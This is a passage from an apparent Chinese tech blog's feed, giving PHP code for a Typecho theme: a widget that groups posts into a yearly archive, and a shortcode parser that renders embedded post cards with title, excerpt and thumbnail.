class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 文章归档</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">AnnualArchive</span> <span class="keyword">extends</span> <span class="title">Typecho_Widget</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$_groupedYears</span> = [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">execute</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable">$posts</span> = <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">widget</span>(<span class="string">&#x27;Widget_Contents_Post_Recent&#x27;</span>, [</span><br><span class="line">            <span class="string">&#x27;pageSize&#x27;</span> =&gt; <span class="number">9999</span>,</span><br><span class="line">            <span class="string">&#x27;status&#x27;</span> =&gt; <span class="string">&#x27;publish&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">$this</span>-&gt;_groupedYears = <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">processPosts</span>(<span class="variable">$posts</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">processPosts</span>(<span class="params"><span class="variable">$posts</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable">$grouped</span> = [];</span><br><span class="line">        <span class="variable">$posts</span>-&gt;<span class="title function_ invoke__">to</span>(<span class="variable">$posts</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">while</span> (<span class="variable">$posts</span>-&gt;<span class="title function_ invoke__">next</span>()) &#123;</span><br><span class="line">            <span class="variable">$post</span> = <span class="variable">$posts</span>-&gt;row;</span><br><span class="line">            <span class="variable">$created</span> = <span class="variable">$post</span>[<span class="string">&#x27;created&#x27;</span>];</span><br><span class="line">            <span class="variable">$timestamp</span> = (<span class="variable">$created</span> <span class="keyword">instanceof</span> Typecho_Date) </span><br><span class="line">                        ? <span class="variable">$created</span>-&gt;time </span><br><span class="line">                        : (<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$created</span>) ? <span class="variable">$created</span> : <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">            <span class="variable">$year</span> = <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y&#x27;</span>, <span class="variable">$timestamp</span>);</span><br><span class="line">            <span class="variable">$monthDay</span> = <span class="title function_ invoke__">date</span>(<span class="string">&#x27;m-d&#x27;</span>, <span class="variable">$timestamp</span>);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$grouped</span>[<span class="variable">$year</span>])) &#123;</span><br><span class="line">                <span class="variable">$grouped</span>[<span class="variable">$year</span>] = [</span><br><span class="line">                    <span class="string">&#x27;count&#x27;</span> =&gt; <span class="number">0</span>,</span><br><span class="line">                    <span class="string">&#x27;posts&#x27;</span> =&gt; [],</span><br><span class="line">                    <span class="string">&#x27;year&#x27;</span> =&gt; <span class="variable">$year</span></span><br><span class="line">                ];</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="variable">$grouped</span>[<span class="variable">$year</span>][<span class="string">&#x27;posts&#x27;</span>][] = [</span><br><span class="line">                <span class="string">&#x27;title&#x27;</span> =&gt; <span class="variable">$posts</span>-&gt;title,</span><br><span class="line">                <span class="string">&#x27;permalink&#x27;</span> =&gt; <span class="variable">$posts</span>-&gt;permalink,</span><br><span class="line">                <span class="string">&#x27;date&#x27;</span> =&gt; <span class="variable">$monthDay</span></span><br><span class="line">            ];</span><br><span class="line">            <span class="variable">$grouped</span>[<span class="variable">$year</span>][<span class="string">&#x27;count&#x27;</span>]++;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="title function_ invoke__">krsort</span>(<span class="variable">$grouped</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$grouped</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getArchiveData</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">$this</span>-&gt;_groupedYears;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这一段代码放置到需要的地方，例如归档页面模板，html 结构根据需求来修改就好了。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> <span class="variable">$archive</span> = <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">widget</span>(<span class="string">&#x27;AnnualArchive&#x27;</span>); <span class="variable">$years</span> = <span class="variable">$archive</span>-&gt;<span class="title function_ invoke__">getArchiveData</span>();<span class="meta">?&gt;</span></span><br><span class="line"><span class="meta">&lt;?php</span> <span class="keyword">foreach</span> (<span class="variable">$years</span> <span class="keyword">as</span> <span class="variable">$yearData</span>): <span class="meta">?&gt;</span></span><br><span class="line">&lt;div <span class="class"><span class="keyword">class</span>=&quot;&quot;<span class="title">mod</span>-<span class="title">archive</span>-<span class="title">name</span>&quot;&quot;&gt;&lt;?<span class="title">php</span> <span class="title">echo</span> $<span class="title">yearData</span>[&#x27;<span class="title">year</span>&#x27;]; ?&gt;&lt;/<span class="title">div</span>&gt;</span></span><br><span class="line"><span class="class">&lt;<span class="title">ul</span> <span class="title">class</span>=&quot;&quot;<span class="title">mod</span>-<span class="title">archive</span>-<span class="title">list</span>&quot;&quot;&gt;</span></span><br><span class="line"><span class="class">&lt;?<span class="title">php</span> <span class="title">foreach</span> ($<span class="title">yearData</span>[&#x27;<span class="title">posts</span>&#x27;] <span class="title">as</span> $<span class="title">post</span>): ?&gt;</span></span><br><span class="line"><span class="class">&lt;<span class="title">li</span>&gt;</span></span><br><span class="line"><span class="class">&lt;<span class="title">time</span> <span class="title">class</span>=&quot;&quot;<span class="title">mod</span>-<span class="title">archive</span>-<span class="title">time</span> <span class="title">text</span>-<span class="title">nowrap</span> <span class="title">me</span>-4&quot;&quot;&gt;&lt;?<span class="title">php</span> <span class="title">echo</span> $<span class="title">post</span>[&#x27;<span class="title">date</span>&#x27;]; ?&gt;&lt;/<span class="title">time</span>&gt;</span></span><br><span class="line"><span class="class">&lt;<span class="title">a</span> <span class="title">href</span>=&quot;&quot;&lt;?<span class="title">php</span> <span class="title">echo</span> $<span class="title">post</span>[&#x27;<span class="title">permalink</span>&#x27;]; ?&gt;&quot;&quot; <span class="title">title</span>=&quot;&quot;&lt;?<span class="title">php</span> <span class="title">echo</span> $<span class="title">post</span>[&#x27;<span class="title">title</span>&#x27;]; ?&gt;&quot;&quot;&gt;&lt;?<span class="title">php</span> <span class="title">echo</span> $<span class="title">post</span>[&#x27;<span class="title">title</span>&#x27;]; ?&gt;&lt;/<span class="title">a</span>&gt;</span></span><br><span class="line"><span class="class">&lt;/<span class="title">li</span>&gt;</span></span><br><span class="line"><span class="class">&lt;?<span class="title">php</span> <span class="title">endforeach</span>; ?&gt;</span></span><br><span class="line"><span class="class">&lt;/<span class="title">ul</span>&gt;</span></span><br><span class="line"><span class="class">&lt;?<span class="title">php</span> <span class="title">endforeach</span>; ?&gt;</span></span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://careful.fyi/posts/1742261616/</id>
    <link href="https://careful.fyi/posts/1742261616/"/>
    <published>2025-03-18T01:33:36.000Z</published>
    <summary>
      <![CDATA[<p>Typecho 按年输出归档页面这个功能，网上能检索到现成的代码，但对于移植主题复杂的 html 结构而言实现起来太过繁琐，以下是网上找到的代码，在此基础上进行修改太过烧脑，遂尝试使用更优雅的方式，html 结构更清晰，方便主题移植时候根据原始 html 结构进行适配。</]]>
    </summary>
    <title>主题移植小记：Typecho按年输出文章归档</title>
    <updated>2026-02-28T05:26:04.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>谨行</name>
    </author>
    <category term="技术" scheme="https://careful.fyi/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="主题移植" scheme="https://careful.fyi/tags/%E4%B8%BB%E9%A2%98%E7%A7%BB%E6%A4%8D/"/>
    <category term="PHP" scheme="https://careful.fyi/tags/PHP/"/>
    <category term="Typecho" scheme="https://careful.fyi/tags/Typecho/"/>
    <content>
      <![CDATA[<p>在移植大叔的 Cherry 主题过程中，发现 WordPress 版本有一项功能是文章内容中插入其他文章的卡片，直接删掉该模块有些可惜，遂研究了下该如何实现，检索后发现已经有短代码插件可以使用，但不太符合需求，所以考虑利用 <code>functions.php</code> ​文件来实现，预览效果如下文章卡片。</p><p>[post id&#x3D;”11”]</p><p>首先得捋清楚需求，在编辑文章过程中，可以通过插入形如 <code>[post id=&quot;&quot;10&quot;&quot;]</code> ​这样的短代码，在文章进行解析时，将匹配到的短代码转化为文章卡片，根据图中的内容可以知道，文章卡片中需要调取 ID 为 10 的文章中的文章标题、文章链接、文章摘要、文章缩略图这些字段，直接贴出完成代码。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 文章短代码</span></span><br><span class="line"><span class="title class_">Typecho_Plugin</span>::<span class="title function_ invoke__">factory</span>(<span class="string">&#x27;Widget_Abstract_Contents&#x27;</span>)-&gt;contentEx = <span class="keyword">array</span>(<span class="string">&#x27;ShortcodeParser&#x27;</span>, <span class="string">&#x27;postCard&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ShortcodeParser</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">postCard</span>(<span class="params"><span class="variable">$content</span>, <span class="variable">$widget</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable">$pattern</span> = <span class="string">&#x27;/\[post\s+id=[&quot;&quot;\&#x27;]?(\d+)[&quot;&quot;\&#x27;]?\]/i&#x27;</span>;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_ invoke__">preg_replace_callback</span>(<span class="variable">$pattern</span>, function(<span class="variable">$matches</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="built_in">self</span>::<span class="title function_ invoke__">buildPostCard</span>(<span class="variable">$matches</span>[<span class="number">1</span>]);</span><br><span class="line">        &#125;, <span class="variable">$content</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">buildPostCard</span>(<span class="params"><span class="variable">$cid</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="variable">$db</span> = <span class="title class_">Typecho_Db</span>::<span class="title function_ invoke__">get</span>();</span><br><span class="line">            <span class="variable">$options</span> = <span class="title class_">Typecho_Widget</span>::<span class="title function_ invoke__">widget</span>(<span class="string">&#x27;Widget_Options&#x27;</span>);</span><br><span class="line">    </span><br><span class="line">            <span class="variable">$post</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">fetchRow</span>(<span class="variable">$db</span>-&gt;<span class="title function_ invoke__">select</span>(<span class="string">&#x27;title&#x27;</span>, <span class="string">&#x27;text&#x27;</span>, <span class="string">&#x27;slug&#x27;</span>, <span class="string">&#x27;created&#x27;</span>, <span class="string">&#x27;modified&#x27;</span>)</span><br><span class="line">            -&gt;<span class="keyword">from</span>(<span class="string">&#x27;table.contents&#x27;</span>)</span><br><span class="line">            -&gt;<span class="title function_ invoke__">where</span>(<span class="string">&#x27;cid = ?&#x27;</span>, <span class="title function_ invoke__">intval</span>(<span class="variable">$cid</span>))</span><br><span class="line">            -&gt;<span class="title function_ invoke__">where</span>(<span class="string">&#x27;type = ?&#x27;</span>, <span class="string">&#x27;post&#x27;</span>)</span><br><span class="line">            -&gt;<span class="title function_ invoke__">where</span>(<span class="string">&#x27;status = ?&#x27;</span>, <span class="string">&#x27;publish&#x27;</span>)</span><br><span class="line">            -&gt;<span class="title function_ invoke__">limit</span>(<span class="number">1</span>));</span><br><span class="line">    </span><br><span class="line">            <span class="keyword">if</span> (!<span class="variable">$post</span>) <span class="keyword">return</span> <span class="string">&#x27;文章不存在&#x27;</span>;</span><br><span class="line">    </span><br><span class="line">            <span class="comment">// 根据路由配置动态选择生成方式</span></span><br><span class="line">            <span class="variable">$routeExists</span> = (<span class="keyword">bool</span>)<span class="title class_">Typecho_Router</span>::<span class="title function_ invoke__">get</span>(<span class="string">&#x27;post&#x27;</span>);</span><br><span class="line">            <span class="variable">$permalink</span> = <span class="variable">$routeExists</span> </span><br><span class="line">                ? <span class="title class_">Typecho_Common</span>::<span class="title function_ invoke__">url</span>(</span><br><span class="line">                    <span class="title class_">Typecho_Router</span>::<span class="title function_ invoke__">url</span>(</span><br><span class="line">                        <span class="string">&#x27;post&#x27;</span>, </span><br><span class="line">                        [</span><br><span class="line">                            <span class="string">&#x27;slug&#x27;</span> =&gt; <span class="variable">$post</span>[<span class="string">&#x27;slug&#x27;</span>],</span><br><span class="line">                            <span class="string">&#x27;category&#x27;</span> =&gt; <span class="built_in">self</span>::<span class="title function_ invoke__">getFirstCategory</span>(<span class="variable">$cid</span>)</span><br><span class="line">                        ]</span><br><span class="line">                    ),</span><br><span class="line">                    <span class="variable">$options</span>-&gt;siteUrl</span><br><span class="line">                )</span><br><span class="line">                : <span class="variable">$options</span>-&gt;siteUrl . <span class="string">&#x27;?cid=&#x27;</span> . <span class="variable">$cid</span>;</span><br><span class="line"></span><br><span class="line">            </span><br><span class="line">            <span class="variable">$excerpt</span> = <span class="built_in">self</span>::<span class="title function_ invoke__">getExcerpt</span>(<span class="variable">$post</span>[<span class="string">&#x27;text&#x27;</span>], <span class="number">50</span>);</span><br><span class="line">            <span class="variable">$thumb</span> = <span class="variable">$options</span>-&gt;Thumb . <span class="string">&#x27;?url=&#x27;</span> . <span class="built_in">self</span>::<span class="title function_ invoke__">getPostThumb</span>(<span class="variable">$cid</span>, <span class="variable">$options</span>) . <span class="string">&#x27;&amp;w=200&amp;h=140&#x27;</span>;</span><br><span class="line">    </span><br><span class="line">            <span class="keyword">return</span> <span class="string">&lt;&lt;&lt;HTML</span></span><br><span class="line"><span class="string">            &lt;div class=&quot;&quot;post_go&quot;&quot;&gt;</span></span><br><span class="line"><span class="string">                &lt;div class=&quot;&quot;post_left&quot;&quot;&gt;</span></span><br><span class="line"><span class="string">                    &lt;img decoding=&quot;&quot;async&quot;&quot; src=&quot;&quot;<span class="subst">&#123;$thumb&#125;</span>&quot;&quot; alt=&quot;&quot;<span class="subst">&#123;$post[&#x27;title&#x27;]&#125;</span>&quot;&quot;&gt;</span></span><br><span class="line"><span class="string">                    &lt;div class=&quot;&quot;post_info&quot;&quot;&gt;</span></span><br><span class="line"><span class="string">                        &lt;div class=&quot;&quot;post_name_h2&quot;&quot;&gt;<span class="subst">&#123;$post[&#x27;title&#x27;]&#125;</span>&lt;/div&gt;</span></span><br><span class="line"><span class="string">                        &lt;p&gt;<span class="subst">&#123;$excerpt&#125;</span>&lt;/p&gt;</span></span><br><span class="line"><span class="string">                    &lt;/div&gt;</span></span><br><span class="line"><span class="string">                &lt;/div&gt;</span></span><br><span class="line"><span class="string">                &lt;a class=&quot;&quot;post_url&quot;&quot; href=&quot;&quot;<span class="subst">&#123;$permalink&#125;</span>&quot;&quot;&gt;阅读全文</span></span><br><span class="line"><span class="string">                    &lt;i class=&quot;&quot;bi bi-arrow-right ms-2&quot;&quot;&gt;&lt;/i&gt;</span></span><br><span class="line"><span class="string">                &lt;/a&gt;</span></span><br><span class="line"><span class="string">            &lt;/div&gt;</span></span><br><span class="line"><span class="string">            HTML</span>;</span><br><span class="line">        &#125; </span><br><span class="line">        <span class="keyword">catch</span> (<span class="built_in">Exception</span> <span class="variable">$e</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&#x27;文章加载失败：&#x27;</span>.<span class="variable">$e</span>-&gt;<span class="title function_ invoke__">getMessage</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;    </span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">getFirstCategory</span>(<span class="params"><span class="variable">$cid</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable">$db</span> = <span class="title class_">Typecho_Db</span>::<span class="title function_ invoke__">get</span>();</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">fetchRow</span>(<span class="variable">$db</span>-&gt;<span class="title function_ invoke__">select</span>(<span class="string">&#x27;slug&#x27;</span>)</span><br><span class="line">            -&gt;<span class="keyword">from</span>(<span class="string">&#x27;table.metas&#x27;</span>)</span><br><span class="line">            -&gt;<span class="title function_ invoke__">join</span>(<span class="string">&#x27;table.relationships&#x27;</span>, <span class="string">&#x27;table.relationships.mid = table.metas.mid&#x27;</span>)</span><br><span class="line">            -&gt;<span class="title function_ invoke__">where</span>(<span class="string">&#x27;table.relationships.cid = ?&#x27;</span>, <span class="variable">$cid</span>)</span><br><span class="line">            -&gt;<span class="title function_ invoke__">where</span>(<span class="string">&#x27;table.metas.type = ?&#x27;</span>, <span class="string">&#x27;category&#x27;</span>)</span><br><span class="line">            -&gt;<span class="title function_ invoke__">limit</span>(<span class="number">1</span>))[<span class="string">&#x27;slug&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">getExcerpt</span>(<span class="params"><span class="variable">$text</span>, <span class="variable">$length</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable">$cleanText</span> = <span class="title function_ invoke__">trim</span>(<span class="title function_ invoke__">strip_tags</span>(<span class="variable">$text</span>));</span><br><span class="line">        <span class="keyword">return</span> <span class="title class_">Typecho_Common</span>::<span class="title function_ invoke__">subStr</span>(<span class="variable">$cleanText</span>, <span class="number">0</span>, <span class="variable">$length</span>, <span class="string">&#x27;...&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">getPostThumb</span>(<span class="params"><span class="variable">$cid</span>, <span class="variable">$options</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$uploadBase</span> = <span class="title function_ invoke__">defined</span>(<span class="string">&#x27;__TYPECHO_UPLOAD_URL__&#x27;</span>) </span><br><span class="line">        ? <span class="title function_ invoke__">rtrim</span>(__TYPECHO_UPLOAD_URL__, <span class="string">&#x27;/&#x27;</span>) </span><br><span class="line">        : <span class="variable">$options</span>-&gt;siteUrl;</span><br><span class="line">        </span><br><span class="line">        <span class="variable">$default</span> = <span class="variable">$options</span>-&gt;Image ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    </span><br><span class="line">        <span class="variable">$db</span> = <span class="title class_">Typecho_Db</span>::<span class="title function_ invoke__">get</span>();</span><br><span class="line">        <span class="variable">$attachments</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">fetchAll</span>(<span class="variable">$db</span>-&gt;<span class="title function_ invoke__">select</span>(<span class="string">&#x27;text&#x27;</span>)</span><br><span class="line">            -&gt;<span class="keyword">from</span>(<span class="string">&#x27;table.contents&#x27;</span>)</span><br><span class="line">            -&gt;<span class="title function_ invoke__">where</span>(<span class="string">&#x27;parent = ?&#x27;</span>, <span class="variable">$cid</span>)</span><br><span class="line">            -&gt;<span class="title function_ invoke__">where</span>(<span class="string">&#x27;type = ?&#x27;</span>, <span class="string">&#x27;attachment&#x27;</span>));</span><br><span class="line">    </span><br><span class="line">        <span class="keyword">foreach</span> (<span class="variable">$attachments</span> <span class="keyword">as</span> <span class="variable">$attach</span>) &#123;</span><br><span class="line">            <span class="variable">$meta</span> = <span class="title function_ invoke__">unserialize</span>(<span class="variable">$attach</span>[<span class="string">&#x27;text&#x27;</span>]);</span><br><span class="line">            <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$meta</span>[<span class="string">&#x27;mime&#x27;</span>]) &amp;&amp; <span class="title function_ invoke__">strpos</span>(<span class="variable">$meta</span>[<span class="string">&#x27;mime&#x27;</span>], <span class="string">&#x27;image/&#x27;</span>) === <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="title class_">Typecho_Common</span>::<span class="title function_ invoke__">url</span>(<span class="variable">$meta</span>[<span class="string">&#x27;path&#x27;</span>], <span class="variable">$uploadBase</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; </span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$default</span>;</span><br><span class="line">    &#125;    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上面是 <code>functions.php</code> ​中的代码，将该段代码放入主题的 functions.php 文件中，当文章内容中有类似 <code>[post id=&quot;&quot;10&quot;&quot;]</code> ​的内容就会被解析成如下 html 结构。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;&quot;</span><span class="attr">post_go</span>&quot;&quot;&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;&quot;</span><span class="attr">post_left</span>&quot;&quot;&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">decoding</span>=<span class="string">&quot;&quot;</span><span class="attr">async</span>&quot;&quot; <span class="attr">src</span>=<span class="string">&quot;&quot;</span>&#123;$<span class="attr">thumb</span>&#125;&quot;&quot; <span class="attr">alt</span>=<span class="string">&quot;&quot;</span>&#123;$<span class="attr">post</span>[&#x27;<span class="attr">title</span>&#x27;]&#125;&quot;&quot;&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;&quot;</span><span class="attr">post_info</span>&quot;&quot;&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;&quot;</span><span class="attr">post_name_h2</span>&quot;&quot;&gt;</span>&#123;$post[&#x27;title&#x27;]&#125;<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>&#123;$excerpt&#125;<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;&quot;</span><span class="attr">post_url</span>&quot;&quot; <span class="attr">href</span>=<span class="string">&quot;&quot;</span>&#123;$<span class="attr">widget-</span>&gt;</span>permalink&#125;&quot;&quot;&gt;阅读全文</span><br><span class="line"><span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;&quot;</span><span class="attr">bi</span> <span class="attr">bi-arrow-right</span> <span class="attr">ms-2</span>&quot;&quot;&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意：在文章缩略图的函数中，因为个人使用的原因，是通过 <code>getPostThumb()</code> ​从获取文章第一个图片附件，若附件中无图片则调用主题设置中的 Image 字段设置作为默认缩略图，你可能需要在主题中加入如下配置项。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$Image</span> = <span class="keyword">new</span> <span class="title class_">Typecho_Widget_Helper_Form_Element_Text</span>(<span class="string">&#x27;Image&#x27;</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="title function_ invoke__">_t</span>(<span class="string">&#x27;默认缩略图&#x27;</span>));</span><br><span class="line"><span class="variable">$form</span>-&gt;<span class="title function_ invoke__">addInput</span>(<span class="variable">$Image</span>);  </span><br></pre></td></tr></table></figure><p>实际使用该段代码时，你可能会发现文章列表中使用 <code>&lt;?php $this-&gt;excerpt(100, &#39;...&#39;); ?&gt;</code> ​输出的摘要部分会存在形如 <code>[post id=&quot;&quot;10&quot;&quot;]</code> ​的短代码，如果介意的话可以将下面代码加入 <code>functions.php</code> ​中，并在文章列表循环中使用 <code>&lt;?php echo clearExcerpt($this-&gt;excerpt); ?&gt;</code> ​来输出摘要。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 摘要过滤</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">clearExcerpt</span>(<span class="params"><span class="variable">$content</span>, <span class="variable">$max_length</span> = <span class="number">150</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$clean</span> = <span class="title function_ invoke__">preg_replace</span>(<span class="string">&#x27;/\[[^]]+\]/&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="variable">$content</span>);</span><br><span class="line">    <span class="variable">$clean</span> = <span class="title function_ invoke__">strip_tags</span>(<span class="variable">$clean</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="variable">$clean</span> = <span class="title function_ invoke__">htmlspecialchars_decode</span>(<span class="variable">$clean</span>);</span><br><span class="line">    <span class="variable">$clean</span> = <span class="title function_ invoke__">str_replace</span>([<span class="string">&#x27;“&#x27;</span>, <span class="string">&#x27;”&#x27;</span>], <span class="string">&#x27;&quot;&quot;&#x27;</span>, <span class="variable">$clean</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="variable">$clean</span> = <span class="title function_ invoke__">preg_replace</span>(<span 